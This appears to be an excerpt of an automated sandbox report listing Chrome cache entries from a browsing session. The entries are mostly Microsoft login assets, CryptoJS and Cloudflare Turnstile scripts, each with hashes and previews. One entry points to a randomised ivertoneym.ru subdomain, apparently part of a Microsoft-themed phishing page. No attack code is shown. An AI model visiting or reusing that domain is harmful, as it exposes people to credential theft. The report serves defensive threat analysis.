URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 76, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPlozttZt/hAkxl/k4E08up:6v/lhPyt/Kk7Tp
MD5:	D6A0FA403A4B06A2E824553DDF751F0F
SHA1:	A46F5AFB54CC321A41C7A5FB0959E2C51FC5C137
SHA-256:	73E03D4C2911F7666D780BEFD1D27F0E3FA6097D17489872C8D6EFDEC1CD5DA8
SHA-512:	1855FFA1B592E056C4ECD1D11E1911ABC993DB99AE595976A5B9428CE71E1BF7A0D3074158A79776E50749E31B429F9CEDB32AB9F8DD9BC27635B15DEF082058
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ffdb9728d954299/1736523196999/dOWpH4qw10PT6W1
Preview:	.PNG........IHDR.......L.....9.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru/0256581979405020159521774NwXzyZCHSEWNUIBRRKYXJPLNYTZCIHJHICJDDWEYJKYGAKJUXP
Preview:	1

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116343
Entropy (8bit):	7.997640489040715
Encrypted:	true
SSDEEP:	3072:s8ovOS/D3L+TGsLMet6+iNLTMMqfC4hyFv0As5:jNSrij/t6+aAMqfCoydM5
MD5:	3063B0DA40B45B46602FCE99AC53D315
SHA1:	57883FF854B80AD2A76479A0273BE9218B4DA553
SHA-256:	C60FB365DF08D31F36EDA468941C309AE3A917ED784A30495800F05E5F98B66B
SHA-512:	3EAF55117A825B588972F6AE324F6173EF4F2A309BAB69A9A6CC43C8F9A4EE25C2FA86752C8912542CC353727DC54A034B369D4A4451F0C3B20206C16FA9FE98
Malicious:	false
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,.......X.?......-....J.....I.;....t..FSw...a7i...c..Y{.-..>a..4h.Eo..c#...O....~..d....Z..z.'...s.D..E...jb.O.F..0.VW>..]%6........x..O>E.'a0U.....w....."..9.az.6....<a.?..<qvx........ct.K..s.C3..d#..#^R.z..A..u.f..........s.....M.rb(.\v.....%.k....i.f...,C.s..bY..K#...~.>..D..j....m.71..}...37h........P{..7!@...\|..ZR.]V....."...0.o....7..peCG....px..j.%r2.....R.k5m..s.

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var 